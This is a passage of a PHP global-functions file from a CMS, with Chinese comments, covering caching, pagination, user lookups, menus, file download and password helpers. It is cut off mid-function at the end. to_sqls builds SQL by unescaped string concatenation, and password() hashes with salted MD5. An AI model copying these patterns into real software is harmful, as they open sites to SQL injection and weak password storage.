  582. * @param $filepath 数据路径(模块名称) caches/cache_$filepath/
  583. * @param string $config 配置名称
  584. */
  585. function getcache($name, $filepath='', $type='file', $config='') {
  586. if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
  587. if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
  588. pc_base::load_sys_class('cache_factory','',0);
  589. if($config) {
  590. $cacheconfig = pc_base::load_config('cache');
  591. $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
  592. } else {
  593. $cache = cache_factory::get_instance()->get_cache($type);
  594. }
  595. return $cache->get($name, '', '', $filepath);
  596. }
  597. /**
  598. * 删除缓存,默认为文件缓存,不加载缓存配置。
  599. * @param $name 缓存名称
  600. * @param $filepath 数据路径(模块名称) caches/cache_$filepath/
  601. * @param $type 缓存类型[file,memcache,apc]
  602. * @param $config 配置名称
  603. */
  604. function delcache($name, $filepath='', $type='file', $config='') {
  605. if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
  606. if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
  607. pc_base::load_sys_class('cache_factory','',0);
  608. if($config) {
  609. $cacheconfig = pc_base::load_config('cache');
  610. $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
  611. } else {
  612. $cache = cache_factory::get_instance()->get_cache($type);
  613. }
  614. return $cache->delete($name, '', '', $filepath);
  615. }
  616. /**
  617. * 读取缓存,默认为文件缓存,不加载缓存配置。
  618. * @param string $name 缓存名称
  619. * @param $filepath 数据路径(模块名称) caches/cache_$filepath/
  620. * @param string $config 配置名称
  621. */
  622. function getcacheinfo($name, $filepath='', $type='file', $config='') {
  623. if(!preg_match("/^[a-zA-Z0-9_-]+$/", $name)) return false;
  624. if($filepath!="" && !preg_match("/^[a-zA-Z0-9_-]+$/", $filepath)) return false;
  625. pc_base::load_sys_class('cache_factory');
  626. if($config) {
  627. $cacheconfig = pc_base::load_config('cache');
  628. $cache = cache_factory::get_instance($cacheconfig)->get_cache($config);
  629. } else {
  630. $cache = cache_factory::get_instance()->get_cache($type);
  631. }
  632. return $cache->cacheinfo($name, '', '', $filepath);
  633. }
  634. /**
  635. * 生成sql语句,如果传入$in_cloumn 生成格式为 IN('a', 'b', 'c')
  636. * @param $data 条件数组或者字符串
  637. * @param $front 连接符
  638. * @param $in_column 字段名称
  639. * @return string
  640. */
  641. function to_sqls($data, $front = ' AND ', $in_column = false) {
  642. if($in_column && is_array($data)) {
  643. $ids = '\''.implode('\',\'', $data).'\'';
  644. $sql = "$in_column IN ($ids)";
  645. return $sql;
  646. } else {
  647. if ($front == '') {
  648. $front = ' AND ';
  649. }
  650. if(is_array($data) && count($data) > 0) {
  651. $sql = '';
  652. foreach ($data as $key => $val) {
  653. $sql .= $sql ? " $front `$key` = '$val' " : " `$key` = '$val' ";
  654. }
  655. return $sql;
  656. } else {
  657. return $data;
  658. }
  659. }
  660. }
  661. /**
  662. * 分页函数
  663. *
  664. * @param $num 信息总数
  665. * @param $curr_page 当前分页
  666. * @param $perpage 每页显示数
  667. * @param $urlrule URL规则
  668. * @param $array 需要传递的数组,用于增加额外的方法
  669. * @return 分页
  670. */
  671. function pages($num, $curr_page, $perpage = 20, $urlrule = '', $array = array(),$setpages = 10) {
  672. if(defined('URLRULE') && $urlrule == '') {
  673. $urlrule = URLRULE;
  674. $array = $GLOBALS['URL_ARRAY'];
  675. } elseif($urlrule == '') {
  676. $urlrule = url_par('page={$page}');
  677. }
  678. $multipage = '';
  679. if($num > $perpage) {
  680. $page = $setpages+1;
  681. $offset = ceil($setpages/2-1);
  682. $pages = ceil($num / $perpage);
  683. if (defined('IN_ADMIN') && !defined('PAGES')) define('PAGES', $pages);
  684. $from = $curr_page - $offset;
  685. $to = $curr_page + $offset;
  686. $more = 0;
  687. if($page >= $pages) {
  688. $from = 2;
  689. $to = $pages-1;
  690. } else {
  691. if($from <= 1) {
  692. $to = $page-1;
  693. $from = 2;
  694. } elseif($to >= $pages) {
  695. $from = $pages-($page-2);
  696. $to = $pages-1;
  697. }
  698. $more = 1;
  699. }
  700. $multipage .= '<a class="a1">'.$num.L('page_item').'</a>';
  701. if($curr_page>0) {
  702. $multipage .= ' <a href="'.pageurl($urlrule, $curr_page-1, $array).'" class="a1">'.L('previous').'</a>';
  703. if($curr_page==1) {
  704. $multipage .= ' <span>1</span>';
  705. } elseif($curr_page>6 && $more) {
  706. $multipage .= ' <a href="'.pageurl($urlrule, 1, $array).'">1</a>..';
  707. } else {
  708. $multipage .= ' <a href="'.pageurl($urlrule, 1, $array).'">1</a>';
  709. }
  710. }
  711. for($i = $from; $i <= $to; $i++) {
  712. if($i != $curr_page) {
  713. $multipage .= ' <a href="'.pageurl($urlrule, $i, $array).'">'.$i.'</a>';
  714. } else {
  715. $multipage .= ' <span>'.$i.'</span>';
  716. }
  717. }
  718. if($curr_page<$pages) {
  719. if($curr_page<$pages-5 && $more) {
  720. $multipage .= ' ..<a href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.L('next').'</a>';
  721. } else {
  722. $multipage .= ' <a href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.L('next').'</a>';
  723. }
  724. } elseif($curr_page==$pages) {
  725. $multipage .= ' <span>'.$pages.'</span> <a href="'.pageurl($urlrule, $curr_page, $array).'" class="a1">'.L('next').'</a>';
  726. } else {
  727. $multipage .= ' <a href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.L('next').'</a>';
  728. }
  729. }
  730. return $multipage;
  731. }
  732. /**
  733. * 分页函数
  734. *
  735. * @param $num 信息总数
  736. * @param $curr_page 当前分页
  737. * @param $perpage 每页显示数
  738. * @param $urlrule URL规则
  739. * @param $array 需要传递的数组,用于增加额外的方法
  740. * @return 分页
  741. */
  742. function pc_pages($num, $curr_page, $perpage = 20, $urlrule = '', $array = array(),$setpages = 10) {
  743. if(defined('URLRULE') && $urlrule == '') {
  744. $urlrule = URLRULE;
  745. $array = $GLOBALS['URL_ARRAY'];
  746. } elseif($urlrule == '') {
  747. $urlrule = url_par('page={$page}');
  748. }
  749. $multipage = '';
  750. if($num > $perpage) {
  751. $page = $setpages+1;
  752. $offset = ceil($setpages/2-1);
  753. $pages = ceil($num / $perpage);
  754. if (defined('IN_ADMIN') && !defined('PAGES')) define('PAGES', $pages);
  755. $from = $curr_page - $offset;
  756. $to = $curr_page + $offset;
  757. $more = 0;
  758. if($page >= $pages) {
  759. $from = 2;
  760. $to = $pages-1;
  761. } else {
  762. if($from <= 1) {
  763. $to = $page-1;
  764. $from = 2;
  765. } elseif($to >= $pages) {
  766. $from = $pages-($page-2);
  767. $to = $pages-1;
  768. }
  769. $more = 1;
  770. }
  771. // $multipage .= '<a class="a1">'.$num.L('page_item').'</a>';
  772. if($curr_page>0) {
  773. $multipage .= ' <a href="'.pageurl($urlrule, $curr_page-1, $array).'" class="a1">'.'&lt;'.'</a>';
  774. if($curr_page==1) {
  775. $multipage .= ' <a class="a1">1</a>';
  776. } elseif($curr_page>6 && $more) {
  777. $multipage .= ' <a class="a1" href="'.pageurl($urlrule, 1, $array).'">1</a>..';
  778. } else {
  779. $multipage .= ' <a class="a1" href="'.pageurl($urlrule, 1, $array).'">1</a>';
  780. }
  781. }
  782. for($i = $from; $i <= $to; $i++) {
  783. if($i != $curr_page) {
  784. $multipage .= ' <a class="a1" href="'.pageurl($urlrule, $i, $array).'">'.$i.'</a>';
  785. } else {
  786. $multipage .= ' <a class="a1 activegg1">'.$i.'</a>';
  787. }
  788. }
  789. if($curr_page<$pages) {
  790. if($curr_page<$pages-5 && $more) {
  791. $multipage .= ' ..<a class="a1" href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.'&gt;'.'</a>';
  792. } else {
  793. $multipage .= ' <a class="a1" href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.'&gt;'.'</a>';
  794. }
  795. } elseif($curr_page==$pages) {
  796. $multipage .= ' <a class="a1">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page, $array).'" class="a1">'.'&gt;'.'</a>';
  797. } else {
  798. $multipage .= ' <a class="a1" href="'.pageurl($urlrule, $pages, $array).'">'.$pages.'</a> <a href="'.pageurl($urlrule, $curr_page+1, $array).'" class="a1">'.'&gt;'.'</a>';
  799. }
  800. }
  801. return $multipage;
  802. }
  803. /**
  804. * 返回分页路径
  805. *
  806. * @param $urlrule 分页规则
  807. * @param $page 当前页
  808. * @param $array 需要传递的数组,用于增加额外的方法
  809. * @return 完整的URL路径
  810. */
  811. function pageurl($urlrule, $page, $array = array()) {
  812. if(strpos($urlrule, '~')) {
  813. $urlrules = explode('~', $urlrule);
  814. $urlrule = $page < 2 ? $urlrules[0] : $urlrules[1];
  815. }
  816. $findme = array('{$page}');
  817. $replaceme = array($page);
  818. if (is_array($array)) foreach ($array as $k=>$v) {
  819. $findme[] = '{$'.$k.'}';
  820. $replaceme[] = $v;
  821. }
  822. $url = str_replace($findme, $replaceme, $urlrule);
  823. $url = str_replace(array('http://','//','~'), array('~','/','http://'), $url);
  824. return $url;
  825. }
  826. /**
  827. * URL路径解析,pages 函数的辅助函数
  828. *
  829. * @param $par 传入需要解析的变量 默认为,page={$page}
  830. * @param $url URL地址
  831. * @return URL
  832. */
  833. function url_par($par, $url = '') {
  834. if($url == '') $url = get_url();
  835. $pos = strpos($url, '?');
  836. if($pos === false) {
  837. $url .= '?'.$par;
  838. } else {
  839. $querystring = substr(strstr($url, '?'), 1);
  840. parse_str($querystring, $pars);
  841. $query_array = array();
  842. foreach($pars as $k=>$v) {
  843. if($k != 'page') $query_array[$k] = $v;
  844. }
  845. $querystring = http_build_query($query_array).'&'.$par;
  846. $url = substr($url, 0, $pos).'?'.$querystring;
  847. }
  848. return $url;
  849. }
  850. /**
  851. * 判断email格式是否正确
  852. * @param $email
  853. */
  854. function is_email($email) {
  855. return strlen($email) > 6 && preg_match("/^[\w\-\.]+@[\w\-\.]+(\.\w+)+$/", $email);
  856. }
  857. /**
  858. * iconv 编辑转换
  859. */
  860. if (!function_exists('iconv')) {
  861. function iconv($in_charset, $out_charset, $str) {
  862. $in_charset = strtoupper($in_charset);
  863. $out_charset = strtoupper($out_charset);
  864. if (function_exists('mb_convert_encoding')) {
  865. return mb_convert_encoding($str, $out_charset, $in_charset);
  866. } else {
  867. pc_base::load_sys_func('iconv');
  868. $in_charset = strtoupper($in_charset);
  869. $out_charset = strtoupper($out_charset);
  870. if ($in_charset == 'UTF-8' && ($out_charset == 'GBK' || $out_charset == 'GB2312')) {
  871. return utf8_to_gbk($str);
  872. }
  873. if (($in_charset == 'GBK' || $in_charset == 'GB2312') && $out_charset == 'UTF-8') {
  874. return gbk_to_utf8($str);
  875. }
  876. return $str;
  877. }
  878. }
  879. }
  880. /**
  881. * 代码广告展示函数
  882. * @param intval $siteid 所属站点
  883. * @param intval $id 广告ID
  884. * @return 返回广告代码
  885. */
  886. function show_ad($siteid, $id) {
  887. $siteid = intval($siteid);
  888. $id = intval($id);
  889. if(!$id || !$siteid) return false;
  890. $p = pc_base::load_model('poster_model');
  891. $r = $p->get_one(array('spaceid'=>$id, 'siteid'=>$siteid), 'disabled, setting', '`id` ASC');
  892. if ($r['disabled']) return '';
  893. if ($r['setting']) {
  894. $c = string2array($r['setting']);
  895. } else {
  896. $r['code'] = '';
  897. }
  898. return $c['code'];
  899. }
  900. /**
  901. * 获取当前的站点ID
  902. */
  903. function get_siteid() {
  904. static $siteid;
  905. if (!empty($siteid)) return $siteid;
  906. if (defined('IN_ADMIN')) {
  907. if ($d = param::get_cookie('siteid')) {
  908. $siteid = $d;
  909. } else {
  910. return '';
  911. }
  912. } else {
  913. $data = getcache('sitelist', 'commons');
  914. if(!is_array($data)) return '1';
  915. $site_url = SITE_PROTOCOL.SITE_URL;
  916. foreach ($data as $v) {
  917. if ($v['url'] == $site_url.'/') $siteid = $v['siteid'];
  918. }
  919. }
  920. if (empty($siteid)) $siteid = 1;
  921. return $siteid;
  922. }
  923. /**
  924. * 获取用户昵称
  925. * 不传入userid取当前用户nickname,如果nickname为空取username
  926. * 传入field,取用户$field字段信息
  927. */
  928. function get_nickname($userid='', $field='') {
  929. $return = '';
  930. if(is_numeric($userid)) {
  931. $member_db = pc_base::load_model('member_model');
  932. $memberinfo = $member_db->get_one(array('userid'=>$userid));
  933. if(!empty($field) && $field != 'nickname' && isset($memberinfo[$field]) &&!empty($memberinfo[$field])) {
  934. $return = $memberinfo[$field];
  935. } else {
  936. $return = isset($memberinfo['nickname']) && !empty($memberinfo['nickname']) ? $memberinfo['nickname'].'('.$memberinfo['username'].')' : $memberinfo['username'];
  937. }
  938. } else {
  939. if (param::get_cookie('_nickname')) {
  940. $return .= '('.param::get_cookie('_nickname').')';
  941. } else {
  942. $return .= '('.param::get_cookie('_username').')';
  943. }
  944. }
  945. return $return;
  946. }
  947. /**
  948. * 获取用户信息
  949. * 不传入$field返回用户所有信息,
  950. * 传入field,取用户$field字段信息
  951. */
  952. function get_memberinfo($userid, $field='') {
  953. if(!is_numeric($userid)) {
  954. return false;
  955. } else {
  956. static $memberinfo;
  957. if (!isset($memberinfo[$userid])) {
  958. $member_db = pc_base::load_model('member_model');
  959. $memberinfo[$userid] = $member_db->get_one(array('userid'=>$userid));
  960. }
  961. if(!empty($field) && !empty($memberinfo[$userid][$field])) {
  962. return $memberinfo[$userid][$field];
  963. } else {
  964. return $memberinfo[$userid];
  965. }
  966. }
  967. }
  968. /**
  969. * 通过 username 值,获取用户所有信息
  970. * 获取用户信息
  971. * 不传入$field返回用户所有信息,
  972. * 传入field,取用户$field字段信息
  973. */
  974. function get_memberinfo_buyusername($username, $field='') {
  975. if(empty($username)){return false;}
  976. static $memberinfo;
  977. if (!isset($memberinfo[$username])) {
  978. $member_db = pc_base::load_model('member_model');
  979. $memberinfo[$username] = $member_db->get_one(array('username'=>$username));
  980. }
  981. if(!empty($field) && !empty($memberinfo[$username][$field])) {
  982. return $memberinfo[$username][$field];
  983. } else {
  984. return $memberinfo[$username];
  985. }
  986. }
  987. /**
  988. * 获取用户头像,建议传入phpssouid
  989. * @param $uid 默认为phpssouid
  990. * @param $is_userid $uid是否为v9 userid,如果为真,执行sql查询此用户的phpssouid
  991. * @param $size 头像大小 有四种[30x30 45x45 90x90 180x180] 默认30
  992. */
  993. function get_memberavatar($uid, $is_userid='', $size='30') {
  994. if($is_userid) {
  995. $db = pc_base::load_model('member_model');
  996. $memberinfo = $db->get_one(array('userid'=>$uid));
  997. if(isset($memberinfo['phpssouid'])) {
  998. $uid = $memberinfo['phpssouid'];
  999. } else {
  1000. return false;
  1001. }
  1002. }
  1003. pc_base::load_app_class('client', 'member', 0);
  1004. define('APPID', pc_base::load_config('system', 'phpsso_appid'));
  1005. $phpsso_api_url = pc_base::load_config('system', 'phpsso_api_url');
  1006. $phpsso_auth_key = pc_base::load_config('system', 'phpsso_auth_key');
  1007. $client = new client($phpsso_api_url, $phpsso_auth_key);
  1008. $avatar = $client->ps_getavatar($uid);
  1009. if(isset($avatar[$size])) {
  1010. return $avatar[$size];
  1011. } else {
  1012. return false;
  1013. }
  1014. }
  1015. /**
  1016. * 调用关联菜单
  1017. * @param $linkageid 联动菜单id
  1018. * @param $id 生成联动菜单的样式id
  1019. * @param $defaultvalue 默认值
  1020. */
  1021. function menu_linkage($linkageid = 0, $id = 'linkid', $defaultvalue = 0) {
  1022. $linkageid = intval($linkageid);
  1023. $datas = array();
  1024. $datas = getcache($linkageid,'linkage');
  1025. $infos = $datas['data'];
  1026. if($datas['style']=='1') {
  1027. $title = $datas['title'];
  1028. $container = 'content'.random(3).date('is');
  1029. if(!defined('DIALOG_INIT_1')) {
  1030. define('DIALOG_INIT_1', 1);
  1031. $string .= '<script type="text/javascript" src="'.JS_PATH.'dialog.js"></script>';
  1032. //TODO $string .= '<link href="'.CSS_PATH.'dialog.css" rel="stylesheet" type="text/css">';
  1033. }
  1034. if(!defined('LINKAGE_INIT_1')) {
  1035. define('LINKAGE_INIT_1', 1);
  1036. $string .= '<script type="text/javascript" src="'.JS_PATH.'linkage/js/pop.js"></script>';
  1037. }
  1038. $var_div = $defaultvalue && (ROUTE_A=='edit' || ROUTE_A=='account_manage_info' || ROUTE_A=='info_publish' || ROUTE_A=='orderinfo') ? menu_linkage_level($defaultvalue,$linkageid,$infos) : $datas['title'];
  1039. $var_input = $defaultvalue && (ROUTE_A=='edit' || ROUTE_A=='account_manage_info' || ROUTE_A=='info_publish') ? '<input type="hidden" name="info['.$id.']" value="'.$defaultvalue.'">' : '<input type="hidden" name="info['.$id.']" value="">';
  1040. $string .= '<div name="'.$id.'" value="" id="'.$id.'" class="ib">'.$var_div.'</div>'.$var_input.' <input type="button" name="btn_'.$id.'" class="button" value="'.L('linkage_select').'" onclick="open_linkage(\''.$id.'\',\''.$title.'\','.$container.',\''.$linkageid.'\')">';
  1041. $string .= '<script type="text/javascript">';
  1042. $string .= 'var returnid_'.$id.'= \''.$id.'\';';
  1043. $string .= 'var returnkeyid_'.$id.' = \''.$linkageid.'\';';
  1044. $string .= 'var '.$container.' = new Array(';
  1045. foreach($infos AS $k=>$v) {
  1046. if($v['parentid'] == 0) {
  1047. $s[]='new Array(\''.$v['linkageid'].'\',\''.$v['name'].'\',\''.$v['parentid'].'\')';
  1048. } else {
  1049. continue;
  1050. }
  1051. }
  1052. $s = implode(',',$s);
  1053. $string .=$s;
  1054. $string .= ')';
  1055. $string .= '</script>';
  1056. } elseif($datas['style']=='2') {
  1057. if(!defined('LINKAGE_INIT_1')) {
  1058. define('LINKAGE_INIT_1', 1);
  1059. $string .= '<script type="text/javascript" src="'.JS_PATH.'linkage/js/jquery.ld.js"></script>';
  1060. }
  1061. $default_txt = '';
  1062. if($defaultvalue) {
  1063. $default_txt = menu_linkage_level($defaultvalue,$linkageid,$infos);
  1064. $default_txt = '["'.str_replace(' > ','","',$default_txt).'"]';
  1065. }
  1066. $string .= $defaultvalue && (ROUTE_A=='edit' || ROUTE_A=='account_manage_info' || ROUTE_A=='info_publish') ? '<input type="hidden" name="info['.$id.']" id="'.$id.'" value="'.$defaultvalue.'">' : '<input type="hidden" name="info['.$id.']" id="'.$id.'" value="">';
  1067. for($i=1;$i<=$datas['setting']['level'];$i++) {
  1068. $string .='<select class="pc-select-'.$id.'" name="'.$id.'-'.$i.'" id="'.$id.'-'.$i.'" width="100"><option value="">请选择菜单</option></select> ';
  1069. }
  1070. $string .= '<script type="text/javascript">
  1071. $(function(){
  1072. var $ld5 = $(".pc-select-'.$id.'");
  1073. $ld5.ld({ajaxOptions : {"url" : "'.APP_PATH.'api.php?op=get_linkage&act=ajax_select&keyid='.$linkageid.'"},defaultParentId : 0,style : {"width" : 120}})
  1074. var ld5_api = $ld5.ld("api");
  1075. ld5_api.selected('.$default_txt.');
  1076. $ld5.bind("change",onchange);
  1077. function onchange(e){
  1078. var $target = $(e.target);
  1079. var index = $ld5.index($target);
  1080. $("#'.$id.'-'.$i.'").remove();
  1081. $("#'.$id.'").val($ld5.eq(index).show().val());
  1082. index ++;
  1083. $ld5.eq(index).show(); }
  1084. })
  1085. </script>';
  1086. } else {
  1087. $title = $defaultvalue ? $infos[$defaultvalue]['name'] : $datas['title'];
  1088. $colObj = random(3).date('is');
  1089. $string = '';
  1090. if(!defined('LINKAGE_INIT')) {
  1091. define('LINKAGE_INIT', 1);
  1092. $string .= '<script type="text/javascript" src="'.JS_PATH.'linkage/js/mln.colselect.js"></script>';
  1093. if(defined('IN_ADMIN')) {
  1094. $string .= '<link href="'.JS_PATH.'linkage/style/admin.css" rel="stylesheet" type="text/css">';
  1095. } else {
  1096. $string .= '<link href="'.JS_PATH.'linkage/style/css.css" rel="stylesheet" type="text/css">';
  1097. }
  1098. }
  1099. $string .= '<input type="hidden" name="info['.$id.']" value="1"><div id="'.$id.'"></div>';
  1100. $string .= '<script type="text/javascript">';
  1101. $string .= 'var colObj'.$colObj.' = {"Items":[';
  1102. foreach($infos AS $k=>$v) {
  1103. $s .= '{"name":"'.$v['name'].'","topid":"'.$v['parentid'].'","colid":"'.$k.'","value":"'.$k.'","fun":function(){}},';
  1104. }
  1105. $string .= substr($s, 0, -1);
  1106. $string .= ']};';
  1107. $string .= '$("#'.$id.'").mlnColsel(colObj'.$colObj.',{';
  1108. $string .= 'title:"'.$title.'",';
  1109. $string .= 'value:"'.$defaultvalue.'",';
  1110. $string .= 'width:100';
  1111. $string .= '});';
  1112. $string .= '</script>';
  1113. }
  1114. return $string;
  1115. }
  1116. /**
  1117. * 联动菜单层级
  1118. */
  1119. function menu_linkage_level($linkageid,$keyid,$infos,$result=array()) {
  1120. if(array_key_exists($linkageid,$infos)) {
  1121. $result[]=$infos[$linkageid]['name'];
  1122. return menu_linkage_level($infos[$linkageid]['parentid'],$keyid,$infos,$result);
  1123. }
  1124. krsort($result);
  1125. return implode(' > ',$result);
  1126. }
  1127. /**
  1128. * 通过catid获取显示菜单完整结构
  1129. * @param $menuid 菜单ID
  1130. * @param $cache_file 菜单缓存文件名称
  1131. * @param $cache_path 缓存文件目录
  1132. * @param $key 取得缓存值的键值名称
  1133. * @param $parentkey 父级的ID
  1134. * @param $linkstring 链接字符
  1135. */
  1136. function menu_level($menuid, $cache_file, $cache_path = 'commons', $key = 'catname', $parentkey = 'parentid', $linkstring = ' > ', $result=array()) {
  1137. $menu_arr = getcache($cache_file, $cache_path);
  1138. if (array_key_exists($menuid, $menu_arr)) {
  1139. $result[] = $menu_arr[$menuid][$key];
  1140. return menu_level($menu_arr[$menuid][$parentkey], $cache_file, $cache_path, $key, $parentkey, $linkstring, $result);
  1141. }
  1142. krsort($result);
  1143. return implode($linkstring, $result);
  1144. }
  1145. /**
  1146. * 通过id获取显示联动菜单
  1147. * @param $linkageid 联动菜单ID
  1148. * @param $keyid 菜单keyid
  1149. * @param $space 菜单间隔符
  1150. * @param $tyoe 1 返回间隔符链接,完整路径名称 3 返回完整路径数组,2返回当前联动菜单名称,4 直接返回ID
  1151. * @param $result 递归使用字段1
  1152. * @param $infos 递归使用字段2
  1153. */
  1154. function get_linkage($linkageid, $keyid, $space = '>', $type = 1, $result = array(), $infos = array()) {
  1155. if($space=='' || !isset($space))$space = '>';
  1156. if(!$infos) {
  1157. $datas = getcache($keyid,'linkage');
  1158. $infos = $datas['data'];
  1159. }
  1160. if($type == 1 || $type == 3 || $type == 4) {
  1161. if(array_key_exists($linkageid,$infos)) {
  1162. $result[]= ($type == 1) ? $infos[$linkageid]['name'] : (($type == 4) ? $linkageid :$infos[$linkageid]);
  1163. return get_linkage($infos[$linkageid]['parentid'], $keyid, $space, $type, $result, $infos);
  1164. } else {
  1165. if(count($result)>0) {
  1166. krsort($result);
  1167. if($type == 1 || $type == 4) $result = implode($space,$result);
  1168. return $result;
  1169. } else {
  1170. return $result;
  1171. }
  1172. }
  1173. } else {
  1174. return $infos[$linkageid]['name'];
  1175. }
  1176. }
  1177. /**
  1178. * IE浏览器判断
  1179. */
  1180. function is_ie() {
  1181. $useragent = strtolower($_SERVER['HTTP_USER_AGENT']);
  1182. if((strpos($useragent, 'opera') !== false) || (strpos($useragent, 'konqueror') !== false)) return false;
  1183. if(strpos($useragent, 'msie ') !== false) return true;
  1184. return false;
  1185. }
  1186. /**
  1187. * 文件下载
  1188. * @param $filepath 文件路径
  1189. * @param $filename 文件名称
  1190. */
  1191. function file_down($filepath, $filename = '') {
  1192. if(!$filename) $filename = basename($filepath);
  1193. if(is_ie()) $filename = rawurlencode($filename);
  1194. $filetype = fileext($filename);
  1195. $filesize = sprintf("%u", filesize($filepath));
  1196. if(ob_get_length() !== false) @ob_end_clean();
  1197. header('Pragma: public');
  1198. header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
  1199. header('Cache-Control: no-store, no-cache, must-revalidate');
  1200. header('Cache-Control: pre-check=0, post-check=0, max-age=0');
  1201. header('Content-Transfer-Encoding: binary');
  1202. header('Content-Encoding: none');
  1203. header('Content-type: '.$filetype);
  1204. header('Content-Disposition: attachment; filename="'.$filename.'"');
  1205. header('Content-length: '.$filesize);
  1206. readfile($filepath);
  1207. exit;
  1208. }
  1209. /**
  1210. * 判断字符串是否为utf8编码,英文和半角字符返回ture
  1211. * @param $string
  1212. * @return bool
  1213. */
  1214. function is_utf8($string) {
  1215. return preg_match('%^(?:
  1216. [\x09\x0A\x0D\x20-\x7E] # ASCII
  1217. | [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte
  1218. | \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs
  1219. | [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
  1220. | \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates
  1221. | \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3
  1222. | [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15
  1223. | \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16
  1224. )*$%xs', $string);
  1225. }
  1226. /**
  1227. * 组装生成ID号
  1228. * @param $modules 模块名
  1229. * @param $contentid 内容ID
  1230. * @param $siteid 站点ID
  1231. */
  1232. function id_encode($modules,$contentid, $siteid) {
  1233. return urlencode($modules.'-'.$contentid.'-'.$siteid);
  1234. }
  1235. /**
  1236. * 解析ID
  1237. * @param $id 评论ID
  1238. */
  1239. function id_decode($id) {
  1240. return explode('-', $id);
  1241. }
  1242. /**
  1243. * 对用户的密码进行加密
  1244. * @param $password
  1245. * @param $encrypt //传入加密串,在修改密码时做认证
  1246. * @return array/password
  1247. */
  1248. function password($password, $encrypt='') {
  1249. $pwd = array();
  1250. $pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr();
  1251. $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
  1252. return $encrypt ? $pwd['password'] : $pwd;
  1253. }
  1254. /**
  1255. * 生成随机字符串
  1256. * @param string $lenth 长度
  1257. * @return string 字符串
  1258. */
  1259. function create_randomstr($lenth = 6) {
  1260. return random($lenth, '123456789abcdefghijklmnpqrstuvwxyzABCDEFGHIJKLMNPQRSTUVWXYZ');
  1261. }
  1262. /**
  1263. * 检查密码长度是否符合规定
  1264. *
  1265. * @param STRING $password
  1266. * @return TRUE or FALSE
  1267. */
  1268. function is_password($password) {
  1269. $strlen = strlen($password);
  1270. if($strlen >= 6 && $strlen <= 20) return true;
  1271. return false;
  1272. }
  1273. /**
  1274. * 检测输入中是否含有错误字符
  1275. *
  1276. * @param char $string 要检查的字符串名称
  1277. * @return TRUE or FALSE
  1278. */
  1279. function is_badword($string) {
  1280. $badwords = array("\\",'&',' ',"'",'"','/','*',',','<','>',"\r","\t","\n","#");
  1281. foreach($badwords as $value){
  1282. if(strpos($string, $value) !== FALSE) {
  1283. return TRUE;
  1284. }
  1285. }
  1286. return FALSE;
  1287. }
  1288. /**
  1289. * 检查用户名是否符合规定
  1290. *
  1291. * @param STRING $username 要检查的用户名
  1292. * @return TRUE or FALSE
  1293. */
  1294. function is_username($username) {
  1295. $strlen = strlen($username);
  1296. if(is_badword($username) || !preg_match("/^[a-zA-Z0-9_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]+$/", $username)){
  1297. return false;
  1298. } elseif ( 20 < $strlen || $strlen < 2 ) {
  1299. return false;
  1300. }
  1301. return true;
  1302. }
  1303. /**
  1304. * 检查id是否存在于数组中
  1305. *
  1306. * @param $id
  1307. * @param $ids
  1308. * @param $s
  1309. */
  1310. function check_in($id, $ids = '', $s = ',') {
  1311. if(!$ids) return false;
  1312. $ids = explode($s, $ids);
  1313. return is_array($id) ? array_intersect($id, $ids) : in_array($id, $ids);
  1314. }
  1315. /**
  1316. * 对数据进行编码转换
  1317. * @param array/string $data 数组
  1318. * @param string $input 需要转换的编码
  1319. * @param string $output 转换后的编码
  1320. */
  1321. function array_iconv($data, $input = 'gbk', $output = 'utf-8') {
  1322. if (!is_array($data)) {
  1323. return iconv($input, $output, $data);
  1324. } else {
  1325. foreach ($data as $key=>$val) {
  1326. if(is_array($val)) {
  1327. $data[$key] = array_iconv($val, $input, $output);
  1328. } else {
  1329. $data[$key] = iconv($input, $output, $val);
  1330. }
  1331. }
  1332. return $data;
  1333. }
  1334. }
  1335. /**
  1336. * 生成缩略图函数
  1337. * @param $imgurl 图片路径
  1338. * @param $width 缩略图宽度
  1339. * @param $height 缩略图高度
  1340. * @param $autocut 是否自动裁剪 默认裁剪,当高度或宽度有一个数值为0是,自动关闭
  1341. * @param $smallpic 无图片是默认图片路径
  1342. */
  1343. function thumb($imgurl, $width = 100, $height = 100 ,$autocut = 1, $smallpic = 'nopic.gif') {
  1344. global $image;
  1345. $upload_url = pc_base::load_config('system','upload_url');
  1346. $upload_path = pc_base::load_config('system','upload_path');
  1347. if(empty($imgurl)) return IMG_PATH.$smallpic;
  1348. $imgurl_replace= str_replace($upload_url, '', $imgurl);
  1349. if(!extension_loaded('gd') || strpos($imgurl_replace, '://')) return $imgurl;
  1350. if(!file_exists($upload_path.$imgurl_replace)) return IMG_PATH.$smallpic;
  1351. list($width_t, $height_t, $type, $attr) = getimagesize($upload_path.$imgurl_replace);
  1352. if($width>=$width_t || $height>=$height_t) return $imgurl;
  1353. $newimgurl = dirname($imgurl_replace).'/thumb_'.$width.'_'.$height.'_'.basename($imgurl_replace);
